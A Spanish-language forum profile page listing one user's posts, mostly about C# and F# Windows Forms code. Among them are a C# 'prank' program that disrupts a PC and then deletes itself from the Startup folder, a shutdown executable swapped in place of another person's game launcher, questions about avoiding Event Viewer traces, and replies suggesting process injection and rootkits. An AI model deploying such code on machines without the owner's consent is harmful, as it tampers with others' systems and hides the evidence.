Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Meta

#251
Ya me salió.

Código (csharp) [Seleccionar]
using System.Drawing;
using System.Windows.Forms;

namespace Apruebalos_a_todos_cs
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            timer1.Start();
        }

        void cambioColor()
        {
            this.BackColor = Color.Black; // Formulario negro.
            //this.ForeColor = Color.White; // Cambia textos en blanco.
            label1.ForeColor = Color.White;
        }

        void cambioColor2()
        {
            this.BackColor = Color.White; // Formulario blanco.
            //this.ForeColor = Color.Black; // Cambia textos en negro.
            label1.ForeColor = Color.Black;
        }

        private void timer1_Tick(object sender, System.EventArgs e)
        {
            cambioColor();
            timer1.Stop();
            timer2.Start();
        }

        private void timer2_Tick(object sender, System.EventArgs e)
        {
            cambioColor2();
            timer2.Stop();
            timer1.Start();
        }
    }
}


Lo que no me sale, es el label en el centro de la pantalla cuando maximizo automáticamente el formulario.

Saludos.
#252
Seguridad / Visor de eventos
8 Junio 2018, 06:00 AM
Hola:

Estoy en una clase, por la tarde etán dando un curso que no se quienes son instalándome el Counter Strike 1.6. Antes en mi cuenta tenía el administrador. Saben que borré programas porque vieron el visor de sucesos, lo se porque entré con el Ubuntu arranque del disco y vi una captura.

Hay cosas que quiero saber. usan el Windows 7. Al borrar un archivo de esa carpeta de Windows gracias a Ubuntu sin instalar, solo arranque desde el disco, borré archivos de un pendriver y me creó una Papelera de reciclaje virtual.

Pos eso sospecho que todo lo que borre, en Windows lo sabe porque dejo rastros en algún lado.

¿Alguna conclusión?

A parte de esto.Trabajando ya directamente en Windows, no tengo cuenta de administrador, intento acceder a otras cuentas de usuari y no me deja, algo que es normal.

¿En algún lado se sabe que intento entrar en su cuenta y que me bloquea por no ser adm?

Cuando antes tenía adm, en el visor de eventos aparece esto, MsiInstaller, fecha, hora y usuario quien desinstaló programas.

Como siempre está con el Counter, borré los ejecutable hk.exe, vuelve a instalarlo. Sustituí ese ejecutable de inicio del juego por otro con este código en C#.

Código (csharp) [Seleccionar]
using System.Diagnostics;

namespace Apagar_PC_Consola_cs_01
{
    class Program
    {
        static void Main(string[] args)
        {
            var psi = new ProcessStartInfo("shutdown", "/s /f /t 0");
            psi.CreateNoWindow = true;
            psi.UseShellExecute = false;
            Process.Start(psi);
        }
    }
}


Solo apaga el ordenador desde que ejecute el acceso directo apuntando al hl.exe que sustituí, por lo que vi, si lo ejecuta, con ver el visor de eventos WinLogon, se que se le apagí y lo volvió a encender, pero no fue así, borró la carpeta Counter-Strike-1.6 que tenía instalado. Me ha pillado que ando por ahí. ;)

Por ahora pienso que me quiere pillar, ajajajaj. Con arranque de Ubunto no dejo pistas, pero si borro algo si.

¿Alguna sugerencia?

Saludos.
#253
Hola:

Tengo este código de abajo. Solo es un Form y un label. Tiene que alterar los colores con el tiempo de 0.05 segundos, en este ejemplo puse 500 ms para ver el cambio. Mientras el form esté de color blanco, label tiene que estar en negro, luego cambia al revés, es decir, el forma de blanco se pone en negro y las letras del lebel del negro al blanco así por cada cierto tiempo. Nunca muestra el form en pantalla.

Código (csharp) [Seleccionar]
using System.Drawing;
using System.Threading;
using System.Windows.Forms;

namespace Apruebalos_a_todos_cs
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();

            while (true)
            {
                cambioColor();
                Thread.Sleep(500);
                cambioColor2();
                Thread.Sleep(500);
            }
        }

        void cambioColor()
        {
            this.BackColor = Color.Black; // Formulario negro.
            //this.ForeColor = Color.White; // Cambia textos en blanco.
            label1.ForeColor = Color.White;
        }

        void cambioColor2()
        {
            this.BackColor = Color.White; // Formulario blanco.
            //this.ForeColor = Color.Black; // Cambia textos en negro.
            label1.ForeColor = Color.Black;
        }
    }
}


¿Qué hago mal?

Saludos.
#254
¿En disco o en Pen Drive?

Tengo que sber si tiene el arranque. ;)
#255
Hola:

Tengo un ordenador que alguien instala Counter Strike 1.6. No puedo borrarlo porque no soy administador. Tampoco desinstalar, acceso denegado.

¿Existe algún truco de borrarle el juego?

Se trabaja con Windows 7.

Saludo.
#256
Perder el tiempo, como me dijo una amiga psicoterapeuta, simplemente es experiencia.
En mi caso probando de todo un poco. ;)
#257
Buenos días buen hombre:

Lo he logrado. Lo dejo aquí por si alguien le pica la curiosidad algún lector o lectora.
Código (csharp,53) [Seleccionar]
open System
open System.Text
open System.Windows.Forms // Añadir refrencias.
open System.Drawing // Añadir referencias.
open System.Runtime.InteropServices

// Importar librería o dll externo.
[<DllImport("winmm.dll")>]
extern int mciSendString(string lpstrCommand, StringBuilder lpstrReturnString,
        int uReturnLength, IntPtr hwndCallback)

let rt = StringBuilder(127)

// Método necesario para admitir el Diseñador. No se puede modificar
// el contenido de este método con el editor de código.
let form = new Form()
let label_Mensaje = new Label()
let groupBox_Bandeja = new GroupBox()
let button_Abrir = new Button();
let button_Cerrar = new Button();
groupBox_Bandeja.SuspendLayout()
form.SuspendLayout()

// groupBox_Bandeja
groupBox_Bandeja.Controls.Add(button_Abrir) // Añadir botones en el
groupBox_Bandeja.Controls.Add(button_Cerrar) // groupBox_Bandeja.
groupBox_Bandeja.Location <- Point(22, 118)
groupBox_Bandeja.Name <- "groupBox_Bandeja"
groupBox_Bandeja.Size <- Size(227, 90)
groupBox_Bandeja.TabIndex <- 0
groupBox_Bandeja.TabStop <- false
groupBox_Bandeja.Text <- "Bandeja:"

// button_Abrir
button_Abrir.Location <- Point(26, 39)
button_Abrir.Name <- "button_Abrir"
button_Abrir.Size <- Size(75, 23)
button_Abrir.TabIndex <- 0
button_Abrir.Text <- "&Abrir"
button_Abrir.UseVisualStyleBackColor <- true
// this.button_Abrir.Click += new System.EventHandler(this.button_Abrir_Click);

// button_Cerrar
button_Cerrar.Location <- Point(129, 39)
button_Cerrar.Name <- "button_Cerrar"
button_Cerrar.Size <- Size(75, 23)
button_Cerrar.TabIndex <- 1
button_Cerrar.Text <- "&Cerrar"
button_Cerrar.UseVisualStyleBackColor <- true

// label_Mensaje
label_Mensaje.AutoSize <- true
//label_Mensaje.Font <- Font("Microsoft Sans Serif", 36, FontStyle.Bold, GraphicsUnit.Point, ((byte)(0)))
label_Mensaje.Location <- Point(12, 9)
label_Mensaje.Name <- "label_Mensaje"
label_Mensaje.Size <- Size(52, 55)
label_Mensaje.TabIndex <- 1
label_Mensaje.Text <- "?"
form.Controls.Add(label_Mensaje) // Añadir en el formulario.

// Crear formulario.
let AutoScaleDimensions = new Size(6, 13)
form.AutoScaleMode <- AutoScaleMode.Font
form.BackColor <- Color.FromArgb(((int)(((byte)(114)))), ((int)(((byte)(54)))), ((int)(((byte)(161))))) // Color violeta.
let ClientSize = new Size(284, 261)
form.Controls.Add(groupBox_Bandeja) // Añadir en el formulario.
form.Name <- "Form1"
form.StartPosition <- FormStartPosition.CenterScreen
form.Text <- "Visual F# 2017"
groupBox_Bandeja.ResumeLayout(false)
form.ResumeLayout(false)
form.PerformLayout()
//----------------------------------------------------------------------------------

// Abrir la bandeja.
button_Abrir.Click.Add(fun _a ->
label_Mensaje.Text <- "Abriendo..."
Application.DoEvents()
mciSendString("set CDAudio door open", rt, 127, IntPtr.Zero) |> ignore
label_Mensaje.Text <- "Abierto."
)


// Cerrar la bandeja.
button_Cerrar.Click.Add(fun _c ->
label_Mensaje.Text <- "Cerrando..."
Application.DoEvents()
mciSendString("set CDAudio door closed", rt, 127, IntPtr.Zero) |> ignore
label_Mensaje.Text <- "Cerrado."
)

[<STAThread>]
Application.Run(form)


Lo que no logro es la línea que lo dejé en C#  no se como adaptarlo en F#, cambiar el tamaño de la fuente de un label.

Gracias por las respuestas.

PD: Todo lo de F# que has contado lo he leído, a pesar de ello, muchos por Internet hacen tonterías estas y soy de ellos.

PD2: Probaré el leguaje R. Haber si logro hacer lo mismo. Son solo tonterías que hago. Pero antes, seguiré con F#, esta vez con WPF para variar.
#258
Hola:

Por fin a base de código y comiando desde C#, he logrado hacer que muestre en modo visual el F#, normalmente es en consola, pero bueno.



Quiero lograr de alguna vez por todas, que al pulsar el botón abrir, en el momento que lo pulses, dice el mensaje "Abriendo...".

Cuando la bandeja del lector se abrió del todo, dice, "Abierto.".

Logro que abra y cierre la bandeja pero no que muestre los mensajes.

¿Alguna idea?

Sigo dándole caña, me cansé.

Código Visual F#:
// En Opciones de Lector_Form_fs en el Explorador de soluciones.
// Con el segundo botón del ratón, en Tipo de salida: Aplicación Windwos.

open System
open System.Text
open System.Windows.Forms // Añadir refrencias.
open System.Drawing // Añadir referencias.
open System.Runtime.InteropServices

// Importar librería o dll externo.
[<DllImport("winmm.dll")>]
extern int mciSendString(string lpstrCommand, StringBuilder lpstrReturnString,
        int uReturnLength, IntPtr hwndCallback)

let rt = StringBuilder(127)

// Método necesario para admitir el Diseñador. No se puede modificar
// el contenido de este método con el editor de código.
let form = new Form()
let label_Mensaje = new Label()
let groupBox_Bandeja = new GroupBox()
let button_Abrir = new Button();
let button_Cerrar = new Button();
groupBox_Bandeja.SuspendLayout()
form.SuspendLayout()

// groupBox_Bandeja
groupBox_Bandeja.Controls.Add(button_Abrir) // Añadir botones en el
groupBox_Bandeja.Controls.Add(button_Cerrar) // groupBox_Bandeja.
groupBox_Bandeja.Location <- Point(22, 118)
groupBox_Bandeja.Name <- "groupBox_Bandeja"
groupBox_Bandeja.Size <- Size(227, 90)
groupBox_Bandeja.TabIndex <- 0
groupBox_Bandeja.TabStop <- false
groupBox_Bandeja.Text <- "Bandeja:"

// button_Abrir
button_Abrir.Location <- Point(26, 39)
button_Abrir.Name <- "button_Abrir"
button_Abrir.Size <- Size(75, 23)
button_Abrir.TabIndex <- 0
button_Abrir.Text <- "&Abrir"
button_Abrir.UseVisualStyleBackColor <- true

// button_Cerrar
button_Cerrar.Location <- Point(129, 39)
button_Cerrar.Name <- "button_Cerrar"
button_Cerrar.Size <- Size(75, 23)
button_Cerrar.TabIndex <- 1
button_Cerrar.Text <- "&Cerrar"
button_Cerrar.UseVisualStyleBackColor <- true

// label_Mensaje
label_Mensaje.AutoSize <- true
//label_Mensaje.Font <- Font("Microsoft Sans Serif", 36, FontStyle.Bold, GraphicsUnit.Point, ((byte)(0)))
label_Mensaje.Location <- Point(12, 9)
label_Mensaje.Name <- "label_Mensaje"
label_Mensaje.Size <- Size(52, 55)
label_Mensaje.TabIndex <- 1
label_Mensaje.Text <- "?"
form.Controls.Add(label_Mensaje) // Añadir en el formulario.

// Crear formulario.
let AutoScaleDimensions = new Size(6, 13)
form.AutoScaleMode <- AutoScaleMode.Font
form.BackColor <- Color.FromArgb(((int)(((byte)(114)))), ((int)(((byte)(54)))), ((int)(((byte)(161))))) // Color violeta.
let ClientSize = new Size(284, 261)
form.Controls.Add(groupBox_Bandeja) // Añadir en el formulario.
form.Name <- "Form1"
form.StartPosition <- FormStartPosition.CenterScreen
form.Text <- "Visual F# 2017"
groupBox_Bandeja.ResumeLayout(false)
form.ResumeLayout(false)
form.PerformLayout()
//----------------------------------------------------------------------------------

// Abrir la bandeja.
let mensajeA abr = label_Mensaje.Text <- "Abriendo..."
let abr = label_Mensaje.Click.Add(mensajeA)
Application.DoEvents()
let button_Abrir_Click abrir = mciSendString("set CDAudio door open", rt, 127, IntPtr.Zero) |> ignore
let abrir = button_Abrir.Click.Add(button_Abrir_Click)
let mensajeAbierto2 ao = label_Mensaje.Text <- "Abierto."
let ao = label_Mensaje.Click.Add(mensajeAbierto2)

// Cerrar la bandeja.
let button_Cerrar_Click cerrar = mciSendString("set CDAudio door closed", rt, 127, IntPtr.Zero) |> ignore
let cerrar = button_Cerrar.Click.Add(button_Cerrar_Click)

[<STAThread>]
Application.Run(form)


Saludos.

PD: ¿Por qué Microsoft no hizo o hace una buena plantilla para crear formularios Windwos o WPF como se hace con C# y VB .net? Está dedicado a modo consola, pero en Visual, hay que programar todo.
#259
Cita de: Maurice_Lupin en 26 Abril 2018, 18:06 PM
Ya que no será malicioso puedes inyectar tu código en otro proceso que sea común... :D tiempo que no toco el formato PE.

Por ejemplo en vb
http://www.forosdelweb.com/f69/inyectar-exe-otro-exe-670787/

Veo que usas funciones de la API, bien podrías hacerlo en C/C++ así tu broma no dependerá del netframework.

Saludos.

Gracias por la info caballero, pero no entiendo esto por ahora. Me centro primero en lo que estoy haciendo y luego observo lo que cuentas. Haber que ventajas tiene.

Por ahora he hecho esto.
Código (csharp) [Seleccionar]
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing; // Añadir referencia.
using System.Drawing.Printing;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

namespace Broma_Consola_06
{
    class Program
    {
        // Importar dll.
        // Bandeja o lector o unidad de disco.
        [DllImport("winmm.dll")]
        public static extern Int32 mciSendString(string lpstrCommand, StringBuilder lpstrReturnString,
        int uReturnLength, IntPtr hwndCallback);

        public static StringBuilder rt = new StringBuilder(127);

        // Intercambio de botones del ratón.
        [DllImport("user32.dll")]
        static extern bool SwapMouseButton(bool fSwap);

        // Leds del teclado.
        [DllImport("user32.dll")]
        internal static extern short GetKeyState(int keyCode);

        [DllImport("user32.dll")]
        static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);

        // Giro pantalla.
        #region Giro pantalla.
        public static class NativeMethods
        {
            // Declaración PInvoke para poder llamar al método EnumDisplaySettings de la API Win32.
            // Recupera los modos de visualización disponibles.
            [DllImport("user32.dll", CharSet = CharSet.Ansi)]
            private static extern int EnumDisplaySettings(
                string lpszDeviceName,
                int iModeNum,
                ref DEVMODE lpDevMode);

            // Declaración PInvoke para poder llamar al método ChangeDisplaySettings de la API Win32.
            // Cambia el modo de visualización actual.
            [DllImport("user32.dll", CharSet = CharSet.Ansi)]
            public static extern int ChangeDisplaySettings(
                ref DEVMODE lpDevMode,
                int dwFlags);

            // Crea un objeto DEVMODE con la información del modo de visualización.
            public static DEVMODE CreateDevMode()
            {
                int ENUM_CURRENT_SETTINGS = -1;
                DEVMODE dm = new DEVMODE
                {
                    dmDeviceName = new string(new char[32]),
                    dmFormName = new string(new char[32])
                };
                dm.dmSize = (short)Marshal.SizeOf(dm);
                EnumDisplaySettings(null, ENUM_CURRENT_SETTINGS, ref dm);
                return dm;
            }


            // Constantes.
            // Modos de visualización (girado 0/90/180/270 grados).
            public const int DMDO_DEFAULT = 0;
            public const int DMDO_90 = 1;
            public const int DMDO_180 = 2;
            public const int DMDO_270 = 3;
        }

        // Mapear la estructura que define el modo de visualización en user32.dll.
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        public struct DEVMODE
        {
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)] public string dmDeviceName;

            public readonly short dmSpecVersion;
            public short dmDriverVersion;
            public short dmSize;
            public short dmDriverExtra;
            public int dmFields;
            public int dmPositionX;
            public int dmPositionY;
            public int dmDisplayOrientation;
            public int dmDisplayFixedOutput;
            public short dmColor;
            public short dmDuplex;
            public short dmYResolution;
            public short dmTTOption;
            public short dmCollate;

            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)] public string dmFormName;

            public short dmLogPixels;
            public short dmBitsPerPel;
            public int dmPelsWidth;
            public int dmPelsHeight;
            public int dmDisplayFlags;
            public int dmDisplayFrequency;
            public int dmICMMethod;
            public int dmICMIntent;
            public int dmMediaType;
            public int dmDitherType;
            public int dmReserved1;
            public int dmReserved2;
            public int dmPanningWidth;
            public int dmPanningHeight;
        }

        private static void Swap()
        {
            // Creamos el objeto DEVMODE con la información del modo de visualización.
            var dm = NativeMethods.CreateDevMode();

            // Establecemos la orientación en función de la actual (girando 180º)
            // a través de la propiedad dmDisplayOrientation.
            var previousDisplayOrientation = dm.dmDisplayOrientation;
            switch (previousDisplayOrientation)
            {
                case NativeMethods.DMDO_DEFAULT:
                    dm.dmDisplayOrientation = NativeMethods.DMDO_180;
                    break;
                case NativeMethods.DMDO_270:
                    dm.dmDisplayOrientation = NativeMethods.DMDO_90;
                    break;
                case NativeMethods.DMDO_180:
                    dm.dmDisplayOrientation = NativeMethods.DMDO_DEFAULT;
                    break;
                case NativeMethods.DMDO_90:
                    dm.dmDisplayOrientation = NativeMethods.DMDO_270;
                    break;
            }
            // Cambia la pantalla al nuevo modo de visualización.
            //NativeMethods.ChangeDisplaySettings(ref dm, 0);
            NativeMethods.ChangeDisplaySettings(ref dm, 0);

            //// A los dos segundos recupera su estado normal.
            //Task.Delay(2000).ContinueWith(t =>
            //{
            //    // Restablece la orientación previa.
            //    dm.dmDisplayOrientation = previousDisplayOrientation;
            //    // Cambia la pantalla al modo anterior.
            //    NativeMethods.ChangeDisplaySettings(ref dm, 0);
            //});
        }
        #endregion

        static void Main(string[] args)
        {
            // Root.
            const string userRoot = "HKEY_CURRENT_USER";
            // Clave.
            const string subkey = "Metaconta";
            // FullName.
            const string keyName = userRoot + "\\" + subkey;
            // ValueName.
            const string valueName = "Contador";

            // Variables txt.
            string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

            // Si no existe la Key, dará -1.
            int contador = Convert.ToInt32(Registry.GetValue(keyName, valueName, -1) ?? -1);

            bool led = true;

            // Comprueba si la key, al ser -1 si la key no existe.
            if (contador >= 0)
            {
                // Si el contador es mayor que 0.
                if (contador > 0)
                {
                    // Sobre escribe la key con -1 su valor.
                    Registry.SetValue(keyName, valueName, contador -= 1);
                }

                // Cambio giro pantalla a 180º.
                if (contador == 9)
                {
                    Swap();
                }

                if (contador == 8)
                {
                    Swap();
                }

                // Escribe un nuevo arhivo de texto con su contenido correspondiente.
                if (contador == 7)
                {
                    File.WriteAllText(Path.Combine(path, "Hola.txt"), "Hola amigo.");
                }

                // Abrir bandeja del lector.
                if (contador == 6)
                {
                    mciSendString("set CDAudio door open", rt, 127, IntPtr.Zero);
                }

                // Intercambiar botones del ratón (Zurdo).
                if (contador == 5)
                {
                    // Activar modo zurdo.
                    // SwapMouseButton(true); o SwapMouseButton(1);
                    // Para volver a modo diestro.
                    // SwapMouseButton(false); o SwapMouseButton(0);
                    SwapMouseButton(true); // Activar surdo.
                }

                // Intercambiar botones del ratón (Diestro).
                if (contador == 4)
                {
                    SwapMouseButton(false); // Activar .
                }

                // Imprimir un folio de la impresora o ficticia.
                if (contador == 3)
                {
                    string amigo = @"Hola amigo.";
                    string folio = @"Solo te he gastado un folio.";

                    PrintDocument p = new PrintDocument();
                    p.PrintPage += delegate (object sender1, PrintPageEventArgs e1)
                    {
                        e1.Graphics.DrawString(amigo, new Font("Times New Roman", 100),
                            new SolidBrush(Color.Black), new RectangleF(30, 100,
                            p.DefaultPageSettings.PrintableArea.Width,
                            p.DefaultPageSettings.PrintableArea.Height));

                        e1.Graphics.DrawString(folio, new Font("Times New Roman", 12),
                            new SolidBrush(Color.Black), new RectangleF(530, 270,
                            p.DefaultPageSettings.PrintableArea.Width,
                            p.DefaultPageSettings.PrintableArea.Height));
                    };

                    try
                    {
                        p.Print();
                    }
                    catch (Exception ex)
                    {
                        throw new Exception("Excepción ocurrida durante la impresión.", ex);
                    }
                }

                // Parpadean los Led del teclado.
                if (contador == 2)
                {
                    int varLed = 0;
                    while (led)
                    {
                       
                        PressKeyboardButton(VirtualKeyStates.BloqMayus);
                        Thread.Sleep(100);
                        PressKeyboardButton(VirtualKeyStates.BloqNum);
                        Thread.Sleep(100);
                        PressKeyboardButton(VirtualKeyStates.BloqDespl);
                        Thread.Sleep(100);
                           
                        // Al valor indicado, para salir del bucle.
                            if (varLed == 300)
                            {
                                led = false;
                            }

                        varLed++;
                    }

                    void PressKeyboardButton(VirtualKeyStates keyCode)
                    {
                        const int KEYEVENTF_EXTENDEDKEY = 0x1;
                        const int KEYEVENTF_KEYUP = 0x2;
                        keybd_event((byte)keyCode, 0x45, KEYEVENTF_EXTENDEDKEY, 0);
                        keybd_event((byte)keyCode, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
                    }                   
                }

                // Crea archivo bat, borra .exe y .cmd. Fin de la broma.
                if (contador == 1)
                {
                    try
                    {
                        // Variables.
                        string strFileFullName = @"archivo.cmd"; // Nombre del archivo.
                        string ruta = Environment.GetFolderPath(Environment.SpecialFolder.Startup); // Ruta en Inico de Windwos.
                        //string ruta = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // Ruta en el inicio de Windows.
                        string ficheroAGrabar = Path.Combine(ruta, strFileFullName); // Concatenar ruta.

                        // Muestra la ruta en pantalla.
                        Console.WriteLine(ruta); // C:\Users\Usuario\Desktop

                        // Si no existe el archivo.
                        if (!File.Exists(ficheroAGrabar))
                        {
                            // Crea el contenido al archivo de texto.
                            File.WriteAllText(ficheroAGrabar, @"@echo off
TIMEOUT /T 1
DEL /S Broma_Consola_06.exe
DEL /S archivo.cmd
EXIT");
                        }

                        else // Si existe...
                        {
                            // Codigo a ejecutar si existe...
                            // Console.WriteLine("El archivo existe, así que no se sustituirá.");
                        }

                        // Ejecutar archivo.cmd.
                        ProcessStartInfo psi = new ProcessStartInfo();
                        psi.UseShellExecute = false;
                        psi.CreateNoWindow = true;
                        psi.WindowStyle = ProcessWindowStyle.Hidden;
                        psi.FileName = strFileFullName; // archivo.cmd.
                        Process.Start(psi);

                        // Cerrar aplicación C#.
                        Environment.Exit(-1);
                    }

                    catch (Win32Exception)
                    {
                        // No mostrar nada.
                        // Cerrar aplicación C#.
                        //Environment.Exit(-1);
                    }
                }
            }

            // Entonces.
            else
            {
                // Escribe en el registro el valor.
                // Empieza la cuenta atrás desde aquí.
                Registry.SetValue(keyName, valueName, 10);
            }
        }

        // Led de los botones del taclado.
        public enum VirtualKeyStates : int
        {
            BloqMayus = 0x14, // 20
            BloqNum = 0x90, //144
            BloqDespl = 0x91, //145   
        }
    }
}


Me falta más bromas.

Si hago pruebas de borrar el ejecutable y el archivo cmd o bat en le escritorio para verlo, no pasa nada, se borra. Si lo hago en inico de Windows, me salta el antivirus de que hay un posible  amenaza que quiere borrar el ejecutable. Vaya por Dios. Esto con Windows 10, con Windows 7 y 8 no se si lo detecta.
#260
Cita de: **Aincrad** en 20 Abril 2018, 16:40 PM
No as intentado usar un rootkit ?

Rootkit Startup Method ( full hidden startup x32 x86 working ) vb.net  ;D

[youtube=640,360]https://www.youtube.com/watch?v=Vko4cdNCCT8[/youtube]



Sí.

Muchísimo.

Por ahora centrado en hacer el programa principal. A parte de eso, estaba aprendiendo también manejar servicios windows que es un rollo que no veas para lo que quiero.

Intentaré seguir la tónica de Visual Basic .net centrado a C#. Todavía no se desprenden del VB 6 ni loco.

La razón por la cual Microsoft descontinuó Visual Basic.

Gracias por el videazo. ;)